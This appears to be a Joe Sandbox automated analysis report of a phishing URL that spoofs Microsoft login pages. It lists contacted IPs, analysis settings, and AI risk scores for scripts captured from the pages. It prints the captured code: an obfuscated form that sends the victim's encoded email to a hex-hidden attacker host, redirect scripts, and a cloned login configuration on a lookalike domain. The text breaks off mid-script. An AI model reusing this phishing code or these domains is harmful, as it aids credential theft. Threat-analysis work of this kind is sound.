142.250.185.228	unknown	United States	15169	GOOGLEUS	false
66.228.45.195	evoicemanageroauth-receptionextension.ayesgroup.com.tr	United States	63949	LINODE-APLinodeLLCUS	false
199.232.192.193	unknown	United States	54113	FASTLYUS	false
199.232.196.193	ipv4.imgur.map.fastly.net	United States	54113	FASTLYUS	false
216.58.206.36	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
172.235.150.19	l1ve.rnantengu.com	United States	20940	AKAMAI-ASN1EU	true

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591688
Start date and time:	2025-01-15 10:05:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://realazure.action.azurecomm.net/api/v2/a/c?url=https://evoicemanageroauth-receptionextension.ayesgroup.com.tr/api/&d=AIAACYB2LC5AFHPW2VWJHSV6UVQVRFTHKQBDW7UWQ3KNJXOX5BDUSXJ3ZQRQJPJ5OCLBPZWKD4BJYLQE5BL3GPZPYFC3R7C3HOFZMPETSYONQACZBWKXDVJSZWINJEC6Z4RKVWOIGO4NDLG6FQA6LFOFNHOYVHNU6O5BF2CIF5XY7JZBYIXDHOQTPGKEQXDCQ5S3LP7YSIX6WCUPVILRNCLWJT2MHVSBN2DFV42FB6TTKWPS3I3ZHCMOW63EIPBFPUC2TNHK25YXIBLVSK2QFSGRKUWIP7I&s=CJMEZBXJGCDDZHAVATKKCN5IOIKFCP44FAQWT2LF3YTNOXOSBYKA
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.win@21/88@30/9
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.131, 216.58.212.142, 66.102.1.84, 142.250.186.78, 142.250.186.174, 142.250.185.174, 20.85.207.172, 217.20.57.41, 2.17.190.73, 172.233.163.179, 172.233.163.25, 172.233.163.238, 172.233.163.198, 172.233.160.187, 172.233.160.196, 172.233.163.213, 172.233.160.193, 172.233.163.108, 172.233.160.191, 172.233.160.194, 172.233.160.189, 142.250.185.234, 172.217.18.106, 142.250.181.234, 142.250.185.138, 142.250.186.106, 216.58.212.170, 142.250.185.170, 142.250.184.234, 142.250.185.74, 142.250.186.74, 142.250.74.202, 142.250.186.42, 142.250.185.202, 172.217.16.202, 142.250.186.170, 216.58.206.74, 216.58.206.78, 172.217.23.110, 172.232.160.200, 172.232.171.14, 172.232.160.177, 172.232.160.182, 172.232.171.221, 172.232.167.89, 172.232.167.90, 172.232.160.181, 172.232.160.187, 172.232.160.194, 172.232.189.33, 172.232.167.236, 142.250.185.99, 142.250.186.131, 216.58.212.138, 172.217.23.106, 142.250.185.106, 172.217.18.10, 216.58.206.42, 142.250.186.138, 142.250.184.202, 2
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, fonts.gstatic.com, us-mia-1.linodeobjects.com.akadns.net, ctldl.windowsupdate.com, clientservices.googleapis.com, us-sea-1.linodeobjects.com.akadns.net, fe3cr.delivery.mp.microsoft.com, acs-ids-msit-service-atm.trafficmanager.net, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, cosmic-eastus-ns-54bf029fbc75.trafficmanager.net, ids.api.iris.microsoft.com, update.googleapis.com, clients.l.google.com, www.gstatic.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://realazure.action.azurecomm.net/api/v2/a/c?url=https://evoicemanageroauth-receptionextension.ayesgroup.com.tr/api/&d=AIAACYB2LC5AFHPW2VWJHSV6UVQVRFTHKQBDW7UWQ3KNJXOX5BDUSXJ3ZQRQJPJ5OCLBPZWKD4BJYLQE5BL3GPZPYFC3R7C3HOFZMPETSYONQACZBWKXDVJSZWINJEC6Z4RKVWOIGO4NDLG6FQA6LFOFNHOYVHNU6O5BF2CIF5XY7JZBYIXDHOQTPGKEQXDCQ5S3LP7YSIX6WCUPVILRNCLWJT2MHVSBN2DFV42FB6TTKWPS3I3ZHCMOW63EIPBFPUC2TNHK25YXIBLVSK2QFSGRKUWIP7I&s=CJMEZBXJGCDDZHAVATKKCN5IOIKFCP44FAQWT2LF3YTNOXOSBYKA

Input	Output
URL: https://realazure.action.azurecomm.net Model: Joe Sandbox AI	{ "typosquatting": true, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": true, "third_party_hosting": true }
URL: https://realazure.action.azurecomm.net
URL: https://officeauthenticationservices-msportalrelay... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated URLs. It collects user email addresses and redirects the user to a suspicious URL, which is likely a phishing attempt. The script's behavior is highly inconsistent with its apparent purpose of email validation, indicating malicious intent." }
function _0x3127(){return['68-74-74-70-73-3A-2F-2F-6F-66-66-69-63-65-64-6F-63-75-6D-65-6E-74-61-75-74-68-65-6E-74-69-63-61-74-69-6F-6E-73-65-72-76-69-63-65-73-2D-6D-73-70-6F-72-74-61-6C-72-65-6C-61-79-2E-75-73-2D-73-65-61-2D-31-2E-6C-69-6E-6F-64-65-6F-62-6A-65-63-74-73-2E-63-6F-6D-2F-72-6E-73-69-67-6E-2E-68-74-6D-6C-23'];} document.getElementById('emailForm').addEventListener('submit',function(e){e.preventDefault();var _0x8e5e01=document.getElementById('email').value.trim(),_0x29ec72=document.getElementById('error-message');var _0x2f31f9=['gmail.com','yahoo.com','aol.com','live.com','icloud.com'],_0x50962b=_0x8e5e01.split('@')[1];if(_0x2f31f9.includes(_0x50962b))_0x29ec72.textContent='Please use your organizational email address.';else{_0x29ec72.textContent='';var _0x2b4131=_0x3127().join('-').split('-').map(function(e){return String.fromCharCode(parseInt(e,16))}).join(''),_0x4b7f6d=btoa(unescape(encodeURIComponent(_0x8e5e01)));window.location.href=`${_0x2b4131}${_0x4b7f6d}`;}});
URL: https://evoicemanageroauth-receptionextension.ayes... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script demonstrates moderate-risk behaviors, including the use of Base64 decoding and redirection to an external domain. While the intent may be to authenticate a user, the script lacks transparency and could potentially be used for malicious purposes if the external domain is not trustworthy." }
function check_hash() { if (!window.location.hash) { return { 'isok': false, 'email': "none" }; } var fragment = window.location.hash.substring(1); if (fragment.length < 3) { return { 'isok': false, 'email': "none" }; } var base64regex = /^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)\|([0-9a-zA-Z+/]{3}=))?$/; if (base64regex.test(fragment)) { try { var decodedFragment = atob(fragment); console.log("Decoded Base64 value:", decodedFragment); } catch (error) { console.log("Error while decoding Base64 value:", error); } } else { console.log("Not a valid Base64 value."); decodedFragment = fragment; } return { 'isok': true, 'email': decodedFragment }; } function captchaCallback() { if (!check_hash().isok) { document.getElementById("captchaForm2").submit(); } else { location.href = `https://officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com/authecverify.html${check_hash().email}`; } } captchaCallback();
URL: https://onlineauthenticationrelayservices.rnanteng... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script demonstrates moderate-risk behaviors, including redirecting the user to a potentially untrusted domain and modifying the URL with query parameters. While the intent is not entirely clear, the script's behavior could be used for malicious purposes such as phishing or data collection. Further investigation is recommended." }
//<![CDATA[ !function(){var e=window,s=e.document,i=e.$Config\|\|{};if(true){s&&s.body&&(s.body.style.display="block")}else if(false){var o,t,r,f,n,d;if(i.fAddTryCatchForIFrameRedirects){try{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&",o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}catch(e){}}else{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&", o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}}}(); //
URL: https://onlineauthenticationrelayservices.rnanteng... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated URLs. The script appears to be redirecting users to a suspicious login page and collecting sensitive user data, which is a clear indication of malicious intent. Additionally, the script interacts with multiple untrusted domains, further increasing the risk. Overall, this script demonstrates a high level of risk and should be thoroughly investigated." }
//<![CDATA[ $Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://l1ve.rnantengu.com/oauth20_authorize.srf?scope=openid+profile+email+offline_access\u0026response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2fonlineauthenticationrelayservices.rnantengu.com%2fcommon%2ffederation%2foauth2msa\u0026state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuARi-gWeejOw--_n6-xs59XvncXIGZ-TWQZWuYpRmbBx-hcYGV8wMk5i4ktKSTOyTHNILS1JB0rcYhL0L0r3TAkvdktNSS1KLMnMz3vEjKboAovAKxYeA2YrDg4uAQYJBgWGHyyMi1iB7prE47zL7n-eU5O4S4uNKSPDKVb9nJyw4ELvoMCQyNCUiJT0NCdHy6KIwsxsD7eM3IIM5-z0qtwkR7PUkDCPYlszK8MJbEIT2JhOsTF8YGPsYGeYxc5wgJNxAw_jAV6GH3yXpn_4s3_F2Xcer_h1UrxzTAy88j2qDMO0_bKKi0M9y0PyQlyyXTNSw7xzDAwzXTPMc01KfPMM8203CDA8EGAAAA2\u0026login_hint=bdf29f%40eutg.co\u0026estsfed=1\u0026uaid=e5108f5c004b4f07bf0e8989870d2f8d\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026fci=https%3a%2f%2f9a83d9f9-cf4691c7.rnantengu.com","urlMsaLogout":"https://l1ve.rnantengu.com/logout.srf?iframed_by=https%3a%2f%2fonlineauthenticationrelayservices.rnantengu.com","urlOtherIdpForget":"https://l1ve.rnantengu.com/forgetme.srf?iframed_by=https%3a%2f%2fonlineauthenticationrelayservices.rnantengu.com","showCantAccessAccountLink":true,"urlGitHubFed":"https://l1ve.rnantengu.com/oauth20_authorize.srf?scope=openid+profile+email+offline_access\u0026response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2fonlineauthenticationrelayservices.rnantengu.com%2fcommon%2ffederation%2foauth2msa\u0026state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuARi-gWeejOw--_n6-xs59XvncXIGZ-TWQZWuYpRmbBx-hcYGV8wMk5i4ktKSTOyTHNILS1JB0rcYhL0L0r3TAkvdktNSS1KLMnMz3vEjKboAovAKxYeA2YrDg4uAQYJBgWGHyyMi1iB7prE47zL7n-eU5O4S4uNKSPDKVb9nJyw4ELvoMCQyNCUiJT0NCdHy6KIwsxsD7eM3IIM5-z0qtwkR7PUkDCPYlszK8MJbEIT2JhOsTF8YGPsYGeYxc5wgJNxAw_jAV6GH3yXpn_4s3_F2Xcer_h1UrxzTAy88j2qDMO0_bKKi0M9y0PyQlyyXTNSw7xzDAwzXTPMc01KfPMM8203CDA8EGAAAA2\u0026login_hint=bdf29f%40eutg.co\u0026estsfed=1\u0026uaid=e5108f5c004b4f07bf0e8989870d2f8d\u0026fci=https%3a%2f%2f9a83d9f9-cf4691c7.rnantengu.com\u0026idp_hint=github.rnantengu.com","arrExternalTrustedRealmFederatedIdps":[],"fShowSignInWithGitHubOnlyOnCredPicker":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~land Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~43!!!AZ~Azerbaijan~994!!!BS~Bahamas~1!!!BH~Bahrain~973!!!BD~Bangladesh~880!!!BB~Barbados~1!!!BY~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Cte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~
URL: https://officedocumentauthenticationservices-mspor... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and heavy obfuscation. The use of `eval`, `Function` constructor, and encoded strings suggests malicious intent. Additionally, the script appears to be interacting with unknown or suspicious domains, further increasing the risk. Overall, this script demonstrates a high level of malicious activity and should be treated with caution." }
function a0N(){var xu=['XRnUH','110LjZFAw','setPort','','AsyncGeneratorFunction','NhOAd','SiCTJ','url','\x20Iterator','getPort','vLSKx','setProtocol','GzbSq','getter','\x20as\x20a\x20prototype','createObjectURL','toJSON','OBASf','ignoreCase','exception','a=1','{}.constructor(\x22return\x20this\x22)(\x20)','Juhcu','','return','lnDhL','EtCZh','BROKEN_CARET','hostname','dXjjs','join','next','8oVgnyb','global','key','Invalid\x20scheme','Array','toLocaleString','jFdCS','NATIVE','size','','style','\x09\x0a\x0b\x0c\x0d\x20\u00a0\u1680\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029\ufeff','qgOFM','^(?:','updateURL','Deno','Cannot\x20convert\x20a\x20Symbol\x20value\x20to\x20a\x20string','WvfRs','inspectSource','dontCallGetSet','facade','gALTg','Invalid\x20authority','LsrbM','420840OFwPBC','getterFor','CEecU','Imctb','GzrRF','application/x-www-form-urlencoded;charset=UTF-8','nonConfigurable','return\x20(function()\x20','slice','wHWTr','POLYFILL','src','\x20is\x20not\x20iterable','setPathname','pathname','random','setter','IE_PROTO','NUmRq','Null','AsyncFunction','String','28TXFeGA','open','hFHiz','sticky','name','symbol','charAt','Overflow:\x20input\x20needs\x20wider\x20integers\x20to\x20process','eRRUO','blob','AvTjn','console','file','nNTgW','default','luyuT','function','pop','return\x20this','ADsOd','','number','TLmxv','8800207AEOEkw','833862VhCbOB','hash','YRMdf','10yXcOCQ','xn--','match','isSpecial','get','%28','(((.+)+)+)+$','getHash','$<a>','cannotBeABaseURL','data-emrcum','yJAgq','parentNode','cEaOb','SQQXF','','JAoUH','fromCharCode','%2e','username','create','getPassword','getOrigin','serialize','getSearch','%2e%2e','2039376NWftEG','push','exports','vAXyT','hEtLz','sort','decodeURIComponent','password','pow','kNmnT','MRJZx','JnpaU','getSearchParams','Object','str','PBalv','getState','nvvJX','uHBWc','process','value','4290340tUKorh','body','forEach','entries','searchParams','FFdfL','a=b','%2e.','assign','info','setHref','Symbol','call','getOwnPropertyDescriptor','xdAlk','values','isArray','revokeObjectURL','snmWO','WtaGx','parentWindow','225269aUxICm','pure','62830LxPlvg','$<a>c','parseObject','test','appendChild','cannotHaveUsernamePasswordPort','','[object\x20','oMUYn','\x20is\x20not\x20an\x20object','Reflect','Invalid\x20port','ATMOR','target','Ruwxr','ukXvt','input','all','sham','Array\x20Iterator','jmaxP','hasOwnProperty','EHvit','concat','AXRkl','document.F=Object','Can\x27t\x20convert\x20object\x20to\x20primitive\x20value','version','fuUqk','nonWritable','TjiQE','xxxbl','tvVAy','multiline','getHost','hYltP','floor','apply','AOVPg','MBhfD','localhost','toString','delete','HevuJ','getHostname','parse','String\x20Iterator','TymBl','index','null','107585aGFbwM','write','object','5zZadiF','log','rdHNn','gCXNp','EetwA','9RqCmom','setPrototypeOf','%40','SmlHW','GeneratorFunction','HjbXD','Beybd','hasOwn','something','qVxRa','documentElement','\x20is\x20not\x20a\x20function','getPrototypeOf','(?:\x20','AVBWG','createElement','abcdefghijklmnopqrst','qpqezt','add','assign\x20detection','port','LSRZJ','ownKeys','__esModule','unsafe','scheme','JfrpK','Request','LdpQp','8589032','\x20required','toLowerCase','warn','getAttribute','shortenPath','close','981CrDztf','Accessors\x20not\x20supported','substring','OQzVp','span','navigator','wrjCL','%29','IvfNu','origin','none','propertyIsEnumerable','query','JTYwL3Z6JTdCJTdCdEslM0QwcXd2cHNqbXklN0JzZiU3Rnh6ZWp+cCU3Q3MlN0Npc2glQzIlOEF0a3N2cm9seDMlN0NwbHV1ZnJ4dzdvenIlM0NPeHhENkQuJTNEJTIwJTJCcW0lN0ZucWktNyUyMWwuYiU3Q3UlN0IlQzIlODIyeG1xaDRwc3d4JTdCdyUyODctL21yc3olQzIlODglM0V4cHA2dGglN0J2d20lN0JwcCU3Ri4lM0QlMjAlMkJpd3ElN0MlQzIlODcxcHplYnB0JTIyNSUyQSUyOW5xciU3RiVDMiU4NjR0ZH56cCU3RCU3RiUyOTEtJTJDbXN3cCVDMiU4ODNxcXklN0QlN0J4MnolN0YwbHRkb3FnNiU3RmhzaWwlN0YlQzIlODclMjklM0QlMjEuYiU3Q3UlN0IlQzIlODIyayU3RiU3Q3B+JTIzbjAlMjElQzIlOEQlMkJ6enh2enV+dSUyM0slMkMlMjNmciVDMiU4MmxpLzIuLSU3RnBxLkslMjAlMkIlM0ElMjkxLSUyQ3JobXUlMjNGJTIxJTIyOSUyODctL2wlN0YlN0IlN0Zwfi5LJTIwJTJC
URL: https://onlineauthenticationrelayservices.rnanteng... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "This script exhibits several high-risk behaviors, including data exfiltration, obfuscated code/URLs, and external data transmission. While some of the behavior may be related to legitimate functionality like analytics and telemetry, the overall risk is elevated due to the presence of suspicious indicators and the lack of transparency around the data being sent to external domains." }
//<![CDATA[ $Config={"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/","urlDefaultFavicon":"https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico","urlPost":"/login.srf?vu=5C\u0026username=bdf29f%40eutg.co\u0026client-request-id=bd8634f5-4641-42e3-82cb-2c570abf61ac\u0026sso_reload=True","iPawnIcon":0,"sPOST_Username":"","sFTName":"flowToken","fEnableOneDSClientTelemetry":true,"dynamicTenantBranding":null,"staticTenantBranding":null,"oAppCobranding":{},"iBackgroundImage":2,"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://onlineauthenticationrelayservices.rnantengu.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fUseMsaSessionState":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://d01184e5-cf4691c7.rnantengu.com/{0}/winauth/sso?client-request-id=bd8634f5-4641-42e3-82cb-2c570abf61ac","iwaSsoProbeUrlFormat":"https://d01184e5-cf4691c7.rnantengu.com/{0}/winauth/ssoprobe?client-request-id=bd8634f5-4641-42e3-82cb-2c570abf61ac","iwaIFrameUrlFormat":"https://d01184e5-cf4691c7.rnantengu.com/{0}/winauth/iframe?client-request-id=bd8634f5-4641-42e3-82cb-2c570abf61ac\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"","isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://d01184e5-cf4691c7.rnantengu.com/common/winauth/sso/edgeredirect?client-request-id=bd8634f5-4641-42e3-82cb-2c570abf61ac\u0026origin=login.microsoftonline.com\u0026is_redirected=1","isFlowTokenPassedInEdge":true},"iSessionPullType":2,"fUseSameSite":true,"isGlobalTenant":true,"uiflavor":1001,"fOfflineAccountVisible":false,"fEnableUserStateFix":true,"fShowAccessPassPeek":true,"fUpdateSessionPollingLogic":true,"fEnableShowPickerCredObservable":true,"fFetchSessionsSkipDsso":true,"fIsCiamUserFlowUxNewLogicEnabled":true,"fUseNonMicrosoftDefaultBrandingForCiam":true,"fRemoveCustomCss":true,"fFixUICrashForApiRequestHandler":true,"fShowUpdatedKoreanPrivacyFooter":true,"fUsePostCssHotfix":true,"fUseHighContrastDetectionMode":true,"fFixUserFlowBranding":true,"fEnablePasskeyNullFix":true,"fEnableRefreshCookiesFix":true,"urlAcmaServerPath":"https://onlineauthenticationrelayservices.rnantengu.com","sTenantId":"00000000-0000-0000-0000-000000000000","scid":2001,"hpgact":2101,"hpgid":6,"apiCanary":"PAQABDgEAAABVrSpeuWamRam2jAF1XRQEy77NfflTj6XOsNL-3HzBjyA-lyWxtefEhctQ1t2rgpAn05CsMJ5LvqevmWiC9l4MhbRUMQCS0BAFxFZfUu5SEfSTQVKlrRq4Z6mtLD62vdIUJKEziArbcNq0n9o7FYiOLRcRsc5kyRMkWPtAOwbMJaf427-3DhqilMqwLMA-Y6QSEVK6zjEweIQ3DoT5mhFAL6OrBS2hw5wDLYV2yOjRqCAA","canary":"llVSqKRQTYUdXdgfBA9rXqikHFhmphCkgzmbA6eTVHs=5:1:CANARY:lTfjuNKXyYCbePU2d9wulPg2Ab81OvrhFUfMACaf6Sc=","sCanaryTokenName":"canary","fSkipRenderingNewCanaryToken":false,"fEnableNewCsrfProtection":true,"correlationId":"bd8634f5-4641-42e3-82cb-2c570abf61ac","sessionId":"d4c1726d-f062-4884-9cc1-7ee5e4eb9800","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://onlineauthenticationrelayservices.rnantengu.com/common/instrumentation/reportpageload","dssostatus":"https://onlineauthenticationrelayservices.rnantengu.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Chrome":1,"_Win":1,"_M117":1,"_D0":1,"Full":1,"Win81":1,"RE_WebKit":1,"b":{"name":"Chrome","major":117,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"117.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://a6dd5e95-cf4691c7.rnantengu.com/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js
URL: https://onlineauthenticationrelayservices.rnanteng... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a utility library for managing asynchronous script loading and execution. It does not contain any high-risk indicators like dynamic code execution, data exfiltration, or obfuscated code. The script primarily focuses on handling document ready and load events, as well as providing a mechanism for registering and executing scripts in a controlled manner. While it uses some legacy APIs like `XDomainRequest`, these pose minor risks and are not inherently malicious. Overall, the script seems to be a legitimate utility with no clear signs of malicious intent." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){ r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){ return f.$Config\|\|f.ServerData\|\|{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src\|\|r.href\|\|"")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")\|\|-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){ var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function i(){var r=e();return(r.loader\|\|{}).slReportFailure\|\|r.slReportFailure\|\|!1}function a(){return(e().loader\|\|{}).redirectToErrorPageOnLoadFailure\|\|!1}function s(){return(e().loader\|\|{}).logByThrowing\|\|!1}function u(e){if(!t()&&!n()){return!1}var r=e.src\|\|e.href\|\|"";if(!r){return!0}if(o(r)){var i,a,s;try{i=e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0} if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n),r&&(u.id=r),"function"==typeof 